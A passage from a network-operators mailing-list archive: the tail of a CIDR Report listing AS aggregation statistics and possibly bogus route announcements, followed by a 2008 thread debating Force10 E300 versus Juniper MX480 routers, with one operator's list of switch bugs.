Communications Services AS18101 685 135 550 80.3% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS6478 1003 469 534 53.2% ATT-INTERNET3 - AT&T WorldNet Services AS4766 878 390 488 55.6% KIXS-AS-KR Korea Telecom AS4808 617 163 454 73.6% CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network AS855 591 149 442 74.8% CANET-ASN-4 - Bell Aliant AS17676 525 83 442 84.2% GIGAINFRA BB TECHNOLOGY Corp. AS22047 565 128 437 77.3% VTR BANDA ANCHA S.A. AS7018 1437 1003 434 30.2% ATT-INTERNET4 - AT&T WorldNet Services AS9443 515 90 425 82.5% INTERNETPRIMUS-AS-AP Primus Telecommunications AS4668 680 273 407 59.9% LGNET-AS-KR LG CNS AS4780 710 316 394 55.5% SEEDNET Digital United Inc. AS6197 955 569 386 40.4% BATI-ATL - BellSouth Network Solutions, Inc AS4804 454 79 375 82.6% MPX-AS Microplex PTY LTD AS3602 456 83 373 81.8% AS3602-RTI - Rogers Telecom Inc. AS4134 824 453 371 45.0% CHINANET-BACKBONE No.31,Jin-rong Street AS16814 426 74 352 82.6% NSS S.A. Total 36081 11168 24913 69.0% Top 30 total Possible Bogus Routes 24.38.0.0/17 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.48.0.0/13 AS19548 ADELPHIA-AS2 - Road Runner HoldCo LLC 24.48.244.0/23 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.51.159.0/24 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.54.23.0/24 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.54.224.0/19 AS20001 ROADRUNNER-WEST - Road Runner HoldCo LLC 24.75.160.0/19 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.75.192.0/18 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.142.40.0/21 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.142.160.0/19 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.0.0/17 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.128.0/18 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 62.61.220.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 63.141.42.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 63.143.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 63.143.115.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 63.143.251.0/24 AS22555 UTC - Universal Talkware Corporation 63.248.0.0/16 AS3356 LEVEL3 Level 3 Communications 64.7.112.0/21 AS6453 GLOBEINTERNET TATA Communications 64.7.120.0/21 AS6453 GLOBEINTERNET TATA Communications 64.50.128.0/18 AS4565 MEGAPATH2-US - MegaPath Networks Inc. 64.64.159.0/24 AS32004 BIG-ASN - Business Information Group, Inc. 64.144.0.0/15 AS4565 MEGAPATH2-US - MegaPath Networks Inc. 64.188.0.0/16 AS3356 LEVEL3 Level 3 Communications 65.36.8.0/24 AS5696 65.36.9.0/24 AS5696 65.36.33.0/24 AS5696 65.36.52.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 66.11.32.0/20 AS6261 VISINET - Visionary Systems, Inc. 66.11.40.0/21 AS6261 VISINET - Visionary Systems, Inc. 66.54.91.0/24 AS30506 BLACKSUN-1 - Blacksun Technologies LLC 66.55.160.0/19 AS29994 66.64.96.0/20 AS3790 RADIGRAFICA COSTARRICENSE 66.180.239.0/24 AS35888 VIGNETTE - VIGNETTE CORPORATION 66.199.32.0/20 AS10397 WISP-AS - Wispnet, LLC 66.206.32.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.33.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.34.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.35.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.40.0/22 AS174 COGENT Cogent/PSI 66.206.44.0/23 AS174 COGENT Cogent/PSI 66.206.47.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 66.207.32.0/20 AS23011 66.219.192.0/18 AS5048 FIBER - FIBERNET Corp. 67.20.0.0/14 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 68.64.0.0/13 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 68.168.0.0/14 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 68.232.0.0/14 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 69.71.192.0/20 AS13818 PHX-INTL-TELEPORT - Phoenix International Teleport 69.80.0.0/17 AS3043 AMPHIB-AS - Amphibian Media Corporation 69.164.0.0/17 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 69.165.102.0/24 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 70.34.0.0/16 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 80.88.0.0/21 AS33774 DJAWEB 80.88.8.0/22 AS33774 DJAWEB 80.88.10.0/24 AS33774 DJAWEB 80.88.12.0/24 AS33779 wataniya-telecom-as 87.76.0.0/16 AS3301 TELIANET-SWEDEN TeliaNet Sweden 87.254.160.0/19 AS16265 LEASEWEB LEASEWEB AS 91.208.60.0/24 AS43366 OSSO Osso AS 91.208.62.0/24 AS43366 OSSO Osso AS 94.100.48.0/20 AS47588 94.136.64.0/19 AS21503 ARETE-AS Phonera Networks AB 94.136.64.0/20 AS21503 ARETE-AS Phonera Networks AB 94.136.64.0/21 AS21503 ARETE-AS Phonera Networks AB 94.136.72.0/21 AS21503 ARETE-AS Phonera Networks AB 94.136.80.0/20 AS21503 ARETE-AS Phonera Networks AB 94.136.80.0/21 AS21503 ARETE-AS Phonera Networks AB 94.136.88.0/21 AS21503 ARETE-AS Phonera Networks AB 95.192.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 95.255.248.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 137.0.0.0/13 AS721 DISA-ASNBLK - DoD Network Information Center 151.135.0.0/16 AS4768 CLIX-NZ TelstraClear Ltd 159.3.211.0/24 AS2687 ASATTCA AT&T Global Network Services - AP 163.142.0.0/16 AS2500 WIDE-BB WIDE Project 166.63.0.0/16 AS33775 NITEL-AS 172.7.0.0/24 AS28175 172.10.1.0/30 AS18305 POSNET POSDATA Co.,Ltd 188.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 188.0.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 188.0.0.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 192.9.200.0/24 AS3602 AS3602-RTI - Rogers Telecom Inc. 192.30.93.0/24 AS17757 HPAUS-AP HP Australia 192.30.94.0/24 AS17757 HPAUS-AP HP Australia 192.40.105.0/24 AS12582 TSF-DATANET-NGD-AS TSF MPLS VPN Services 192.64.85.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.107.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.108.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.177.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.70.164.0/24 AS25689 NRCNET-AS - National Research Council of Canada 192.96.36.0/24 AS5713 SAIX-NET 192.96.37.0/24 AS10474 NETACTIVE 192.96.135.0/24 AS2018 TENET-1 192.96.136.0/23 AS2018 TENET-1 192.96.141.0/24 AS2018 TENET-1 192.96.143.0/24 AS2018 TENET-1 192.96.145.0/24 AS2018 TENET-1 192.96.177.0/24 AS6083 POSIX-AFRICA 192.101.45.0/24 AS2905 TICSA-ASN 192.101.46.0/24 AS6503 Avantel, S.A. 192.101.47.0/24 AS6503 Avantel, S.A. 192.101.64.0/21 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.67.0/24 AS21775 192.101.70.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.72.0/24 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.73.0/24 AS4765 WORLDNET-AS World Net & Services Co., Ltd. 192.101.74.0/24 AS1239 SPRINTLINK - Sprint 192.122.212.0/24 AS209 ASN-QWEST - Qwest 192.124.252.0/22 AS680 DFN-IP service G-WiN 192.131.233.0/24 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 192.133.6.0/24 AS10282 EQUANT-CEEUR EQUANT AS for Central and Eastern Europe region 192.153.144.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 192.154.32.0/19 AS81 NCREN - MCNC 192.168.117.192/29 AS29208 DIALTELECOM-AS Dial Telecom A.S., Bratislava 192.188.208.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 193.200.114.0/23 AS31530 SERVERCREW-AS Servercrew LTD Autonomes System 194.31.227.0/24 AS21461 TRANSFAIRNET Transfair-net GmbH Krefeld 194.246.72.0/23 AS8893 ARTFILES-AS Artfiles New Media GmbH 196.6.108.0/24 AS5713 SAIX-NET 196.10.119.0/24 AS2018 TENET-1 196.10.122.0/23 AS2018 TENET-1 196.10.251.0/24 AS2018 TENET-1 196.10.252.0/23 AS2018 TENET-1 196.10.254.0/24 AS2018 TENET-1 196.13.101.0/24 AS2018 TENET-1 196.13.102.0/23 AS2018 TENET-1 196.13.104.0/24 AS2018 TENET-1 196.13.121.0/24 AS2018 TENET-1 196.13.125.0/24 AS2018 TENET-1 196.13.126.0/24 AS2018 TENET-1 196.13.169.0/24 AS2018 TENET-1 196.13.174.0/23 AS2018 TENET-1 196.13.176.0/21 AS2018 TENET-1 196.13.192.0/22 AS2018 TENET-1 196.13.196.0/24 AS2018 TENET-1 196.201.98.0/24 AS29571 CITelecom-AS 196.216.132.0/24 AS9207 TAIDE-KE-NAIROBI Taide - Kenya POP 196.216.134.0/24 AS9207 TAIDE-KE-NAIROBI Taide - Kenya POP 198.23.26.0/24 AS4390 BELLATLANTIC-COM - Bell Atlantic, Inc. 198.54.82.0/24 AS2018 TENET-1 198.54.92.0/24 AS2018 TENET-1 198.54.222.0/24 AS2018 TENET-1 198.97.72.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 198.97.80.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 198.97.96.0/19 AS721 DISA-ASNBLK - DoD Network Information Center 198.97.240.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 198.144.96.0/20 AS12185 198.161.87.0/24 AS6539 GT-BELL - Bell Canada 198.167.0.0/16 AS7456 INTERHOP - Interhop Network SERVICES Inc. 198.168.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 198.169.0.0/16 AS803 SASKTEL - Saskatchewan Telecommunications 198.180.198.0/24 AS23715 SEOUL-INTGW-GXS-AP Global Exchange Services 199.9.128.0/17 AS668 ASN-ASNET-NET-AS - Defense Research and Engineering Network 199.10.0.0/16 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.0.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.128.0/18 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.130.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.131.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.132.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.134.0/24 AS3541 ITSDN-U4 - DoD Network Information Center 199.114.136.0/24 AS27044 DDN-ASNBLK1 - DoD Network Information Center 199.114.138.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.140.0/24 AS3544 ITSDN-U7 - DoD Network Information Center 199.114.142.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.144.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.148.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.150.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.152.0/24 AS27033 DDN-ASNBLK1 - DoD Network Information Center 199.114.153.0/24 AS27034 DDN-ASNBLK1 - DoD Network Information Center 199.114.154.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.114.156.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.114.160.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.121.0.0/16 AS721 DISA-ASNBLK - DoD Network Information Center 199.123.0.0/18 AS721 DISA-ASNBLK - DoD Network Information Center 199.123.16.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 199.123.80.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 199.189.32.0/19 AS7332 IQUEST-AS - IQuest Internet 199.202.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.246.116.0/24 AS813 UUNET-CANADA - MCI Communications Services, Inc. d/b/a Verizon Business 202.58.113.0/24 AS19161 INNOCOM-TELECOM - INNOCOM TELECOM 202.73.144.0/20 AS4788 TMNET-AS-AP TM Net, Internet Service Provider 202.80.192.0/20 AS2706 HKSUPER-HK-AP Pacific Internet (Hong Kong) Limited 202.86.252.0/22 AS4748 RESOLINK-AS-AP Resources Link Network Limited 202.86.252.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.253.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.254.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.255.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.90.33.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.40.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.41.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.42.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.43.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.44.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.94.1.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.94.70.0/24 AS9837 POWERTEL-AP Powertel Ltd 202.124.195.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.124.207.0/24 AS17911 BRAINPK-AS-AP Brain Telecommunication Ltd. 202.136.254.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.136.255.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.164.100.0/24 AS18101 RIL-IDC Reliance Infocom Ltd Internet Data Centre, 202.176.228.0/24 AS17988 SINOSAT-AS-AP SINOSAT (HONG KONG) LIMITED 202.176.232.0/24 AS17988 SINOSAT-AS-AP SINOSAT (HONG KONG) LIMITED 202.181.32.0/24 AS4645 ASN-HKNET-AP HKNet Co. Ltd 203.12.45.0/24 AS4854 NETSPACE-AS-AP Netspace Online Systems 203.62.0.0/17 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 203.78.48.0/20 AS9299 IPG-AS-AP Philippine Long Distance Telephone Company 203.89.139.0/24 AS17911 BRAINPK-AS-AP Brain Telecommunication Ltd. 203.111.192.0/20 AS7473 SINGTEL-AS-AP Singapore Telecom 203.112.97.0/24 AS9942 COMINDICO-AP SOUL Converged Communications Australia 203.112.111.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.113.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.114.0/24 AS4802 ASN-IINET iiNet Limited 203.112.116.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.117.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.118.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.119.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.120.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.121.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.127.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.128.128.0/19 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 203.128.128.0/24 AS23849 CNNIC-NET263-AP Beijing Capital-online science development Co.,Ltd. 203.152.136.0/23 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.152.138.0/23 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.152.142.0/24 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.152.143.0/24 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.160.110.0/23 AS7643 VNN-AS-AP Vietnam Posts and Telecommunications (VNPT) 204.9.216.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.9.217.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.9.218.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.13.140.0/22 AS7270 NET2PHONE - Net2Phone Corp. 204.16.120.0/23 AS12077 204.16.122.0/23 AS12077 204.19.14.0/23 AS577 BACOM - Bell Canada 204.48.58.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.48.60.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.154.125.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 204.154.126.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 204.154.127.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 205.150.0.0/15 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 206.162.224.0/19 AS23464 ILCSNET - Interlink Computer Services 206.180.240.0/20 AS12083 KNOLOGY-NET - Knology Holdings 206.220.240.0/24 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.240.64/26 AS22335 MREN - Metropolitan Research and Education Network 206.220.240.128/25 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.240.160/30 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.240.220/32 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.241.0/24 AS10764 STARTAP - National Center for Supercomputing Applications 207.98.192.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 207.98.209.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 207.98.223.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 207.191.128.0/19 AS10887 BPSI-AS - BPSI Internet Services 207.204.168.0/24 AS15150 BELLTECH-AS - BELLWETHER TECHNOLOGY CORPORATION 207.204.222.0/24 AS22773 CCINET-2 - Cox Communications Inc. 207.231.96.0/19 AS11194 NUNETPA - NuNet Inc. 208.38.192.0/18 AS3043 AMPHIB-AS - Amphibian Media Corporation 208.38.192.0/21 AS14237 BEAMSPEED1 - Beamspeed 208.38.202.0/24 AS14237 BEAMSPEED1 - Beamspeed 208.38.203.0/24 AS14237 BEAMSPEED1 - Beamspeed 208.38.204.0/22 AS14237 BEAMSPEED1 - Beamspeed 209.54.93.0/24 AS22773 CCINET-2 - Cox Communications Inc. 209.54.111.0/24 AS22773 CCINET-2 - Cox Communications Inc. 209.54.123.0/24 AS6062 NETPLEX - NETPLEX 209.54.240.0/21 AS10887 BPSI-AS - BPSI Internet Services 209.105.224.0/19 AS20074 209.140.90.0/24 AS14461 NTSL - NET SOLUTIONS 209.140.224.0/21 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.234.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.235.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.236.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.237.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.238.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.239.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.141.16.0/21 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.141.48.0/22 AS14461 NTSL - NET SOLUTIONS 209.145.192.0/18 AS3043 AMPHIB-AS - Amphibian Media Corporation 210.5.128.0/20 AS4837 CHINA169-BACKBONE CNCGROUP China169 Backbone 216.37.114.0/23 AS3549 GBLX Global Crossing Ltd. 216.37.120.0/23 AS13377 216.59.0.0/17 AS3356 LEVEL3 Level 3 Communications 216.99.16.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.99.20.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.162.96.0/19 AS7393 CYBERCON - CYBERCON, INC. 216.172.198.0/24 AS22773 CCINET-2 - Cox Communications Inc. 216.172.199.0/24 AS22773 CCINET-2 - Cox Communications Inc. 216.176.22.0/24 AS20299 Newcom Limited 216.210.86.0/24 AS577 BACOM - Bell Canada 216.240.240.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.241.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.242.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.251.207.0/24 AS1239 SPRINTLINK - Sprint 217.78.71.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.72.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.73.0/24 AS12491 IPPLANET-AS IPPlanet Please see http://www.cidr-report.org for the full report ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From keith at pando.com Fri Jul 18 09:34:51 2008 From: keith at pando.com (Keith O'neill) Date: Fri, 18 Jul 2008 10:34:51 -0400 (EDT) Subject: Force10 E300 vs. Juniper MX480 In-Reply-To: <466404861.21041216391372505.JavaMail.root@dkny.pando.com> Message-ID: <637214007.21061216391691222.JavaMail.root@dkny.pando.com> Force 10 is fine. I do suggest he go with the dual cam cards over the regular cards. I am not sure what Chris is talking about but I have used Force 10 for a long time, E, C and S series and have found it very stable. It will do everything you want and then some. The E300 is a good bang for the buck. Sure Foundry might be cheaper but I hear more complaining about Foundry than any other platform. Chris you want to share what issues you have seen with Force 10. Keith ----- Original Message ----- From: "Chris Marlatt" To: "Joe Abley" Cc: "nanog" Sent: Friday, July 18, 2008 7:43:33 AM (GMT-0500) America/New_York Subject: Re: Force10 E300 vs. Juniper MX480 Joe Abley wrote: > Hi all, > > An acquaintance who runs an ISP with an M7i on its border is looking to > upgrade, because the M7i is starting to creak from all the flesh-tone > MPEGs his customers are sharing. (How times have changed. Back when I > was chasing packets, it was flesh-tone JPEGs.) > > He's looking at the MX480 and the E300. > > The MX480 is attractive because the M7i has been stable as a rock, and > he's familiar with JUNOS. > > The E300 is attractive because it's half the price of the MX480, and has > the potential to hold layer-2 cards as well as layer-3 ports which makes > the price per port much more reasonable than the MX480. But he has no > experience with Force10 at any ISO layer higher than 2. > > He doesn't have any exotic requirements beyond OSPF, OSPFv3, BGP, IP and > IPv6. There's no MPLS in the picture, for example. However, he's going > to want four or five full tables plus a moderate load of peering routes > in there. And maybe VRRP. > > Thoughts from people who have tried one or the other, or both? Or who > have faced this kind of problem, and came up with a different answer? > > Feel free to send mail off-list; I can summarise if there is interest. > > > Joe > I would avoid Force10 if at all possible. In the network I managed I've had some fairly surprising stability problems with their S series switches and feature problems (or lack there of) on their E series. Things you kind of scratch your head at and wonder what they were thinking. Juniper on the other hand is indeed a bit pricier but quite a stable platform. If he has to look at alternatives I would suggest Foundry, either the RX-8, MLX-8, or XMR-8000 (depending on requirements) for comparable models to the MX480. Regards, Chris From John.Sweeting at tatacommunications.com Fri Jul 18 09:47:24 2008 From: John.Sweeting at tatacommunications.com (John Sweeting) Date: Fri, 18 Jul 2008 10:47:24 -0400 Subject: Force10 E300 vs. Juniper MX480 Message-ID: I certainly agree with Keith and we are pushing "a lot" of traffic through our Force10 boxes i.e. E1200's, E600's and a few E300's. As a company they are wery responsive and easy to work with. Dual cam is definitely recommended. ----- Original Message ----- From: Keith O'neill To: Chris Marlatt Cc: nanog Sent: Fri Jul 18 10:34:51 2008 Subject: Re: Force10 E300 vs. Juniper MX480 Force 10 is fine. I do suggest he go with the dual cam cards over the regular cards. I am not sure what Chris is talking about but I have used Force 10 for a long time, E, C and S series and have found it very stable. It will do everything you want and then some. The E300 is a good bang for the buck. Sure Foundry might be cheaper but I hear more complaining about Foundry than any other platform. Chris you want to share what issues you have seen with Force 10. Keith ----- Original Message ----- From: "Chris Marlatt" To: "Joe Abley" Cc: "nanog" Sent: Friday, July 18, 2008 7:43:33 AM (GMT-0500) America/New_York Subject: Re: Force10 E300 vs. Juniper MX480 Joe Abley wrote: > Hi all, > > An acquaintance who runs an ISP with an M7i on its border is looking to > upgrade, because the M7i is starting to creak from all the flesh-tone > MPEGs his customers are sharing. (How times have changed. Back when I > was chasing packets, it was flesh-tone JPEGs.) > > He's looking at the MX480 and the E300. > > The MX480 is attractive because the M7i has been stable as a rock, and > he's familiar with JUNOS. > > The E300 is attractive because it's half the price of the MX480, and has > the potential to hold layer-2 cards as well as layer-3 ports which makes > the price per port much more reasonable than the MX480. But he has no > experience with Force10 at any ISO layer higher than 2. > > He doesn't have any exotic requirements beyond OSPF, OSPFv3, BGP, IP and > IPv6. There's no MPLS in the picture, for example. However, he's going > to want four or five full tables plus a moderate load of peering routes > in there. And maybe VRRP. > > Thoughts from people who have tried one or the other, or both? Or who > have faced this kind of problem, and came up with a different answer? > > Feel free to send mail off-list; I can summarise if there is interest. > > > Joe > I would avoid Force10 if at all possible. In the network I managed I've had some fairly surprising stability problems with their S series switches and feature problems (or lack there of) on their E series. Things you kind of scratch your head at and wonder what they were thinking. Juniper on the other hand is indeed a bit pricier but quite a stable platform. If he has to look at alternatives I would suggest Foundry, either the RX-8, MLX-8, or XMR-8000 (depending on requirements) for comparable models to the MX480. Regards, Chris From cmarlatt at rxsec.com Fri Jul 18 09:52:35 2008 From: cmarlatt at rxsec.com (Chris Marlatt) Date: Fri, 18 Jul 2008 10:52:35 -0400 Subject: Force10 E300 vs. Juniper MX480 In-Reply-To: <637214007.21061216391691222.JavaMail.root@dkny.pando.com> References: <637214007.21061216391691222.JavaMail.root@dkny.pando.com> Message-ID: <4880AE33.2060505@rxsec.com> Keith O'neill wrote: > Force 10 is fine. I do suggest he go with the dual cam cards over the regular cards. I am not sure what Chris is talking about but I have used Force 10 for a long time, E, C and S series and have found it very stable. It will do everything you want and then some. The E300 is a good bang for the buck. Sure Foundry might be cheaper but I hear more complaining about Foundry than any other platform. > > Chris you want to share what issues you have seen with Force 10. > > Keith > > ----- Original Message ----- > From: "Chris Marlatt" > To: "Joe Abley" > Cc: "nanog" > Sent: Friday, July 18, 2008 7:43:33 AM (GMT-0500) America/New_York > Subject: Re: Force10 E300 vs. Juniper MX480 > > Joe Abley wrote: >> Hi all, >> >> An acquaintance who runs an ISP with an M7i on its border is looking to >> upgrade, because the M7i is starting to creak from all the flesh-tone >> MPEGs his customers are sharing. (How times have changed. Back when I >> was chasing packets, it was flesh-tone JPEGs.) >> >> He's looking at the MX480 and the E300. >> >> The MX480 is attractive because the M7i has been stable as a rock, and >> he's familiar with JUNOS. >> >> The E300 is attractive because it's half the price of the MX480, and has >> the potential to hold layer-2 cards as well as layer-3 ports which makes >> the price per port much more reasonable than the MX480. But he has no >> experience with Force10 at any ISO layer higher than 2. >> >> He doesn't have any exotic requirements beyond OSPF, OSPFv3, BGP, IP and >> IPv6. There's no MPLS in the picture, for example. However, he's going >> to want four or five full tables plus a moderate load of peering routes >> in there. And maybe VRRP. >> >> Thoughts from people who have tried one or the other, or both? Or who >> have faced this kind of problem, and came up with a different answer? >> >> Feel free to send mail off-list; I can summarise if there is interest. >> >> >> Joe >> > > I would avoid Force10 if at all possible. In the network I managed I've > had some fairly surprising stability problems with their S series > switches and feature problems (or lack there of) on their E series. > Things you kind of scratch your head at and wonder what they were > thinking. Juniper on the other hand is indeed a bit pricier but quite a > stable platform. If he has to look at alternatives I would suggest > Foundry, either the RX-8, MLX-8, or XMR-8000 (depending on requirements) > for comparable models to the MX480. > > Regards, > > Chris > > Considering I just had another issue pop up sure - I'd be glad to at this point. As provided to another member who contacted me off list: ========================================================== The S series problems were the worst - customer facing issues. <--snip-->. The list is noted in SFTOS and FTOS. Our design required layer 3 code on the S50N which "caused" some of these errors to present themselves: - SFTOS: Limit of 8 ACL's (total ACL line count). Secondary assignments on the switch were "unprotected". - SFTOS: OSPF required a specific ACL to form an adjacency even with a "default allow". - SFTOS: If an uplink went down with OSPF running (ECMP) when the link was brought back up the OSPF adjacency would only form half way but would add a route. A 50/50 chance of success was the result. - SFTOS: A "Transient Parity Error" crashed one of the S50's in production. No known cause. - FTOS: The switch would lock during certain ARP operations (i.e. port flap). A hard reboot was necessary to recover the switch. <--snip--> - FTOS: Random reboots preceded by "Low memory" errors. Our design would not / could not have consumed all the switch memory. - FTOS: An upgrade from SFTOS to FTOS changes all the SNMP interface indexes causing lots of internal software to no longer be able to poll switch ports or monitor accurately. - FTOS: Hard lock of the switch after an STP root change. The root change was not seen on any other switches (i.e. another bug in the S50 code) and there were no events that should have caused a change in the topology. The E series has more stable but like I said lacking some features. The most notable is the inability to do "normal" PBR. Pretty much any BGP attribute can't be used to build a policy. We were forced to dedicate vlans to certain policies as they could only match the traffic via an interface. A minor annoyance is the timing for the management cpu causing ping times to look as though there is something wrong with the router. There's a paper out there somewhere explaining the cause for this and it has to do with the polling cycles of the board. A snippet of a ping to a routing interface: 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=4 ttl=252 time=0.640 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=5 ttl=252 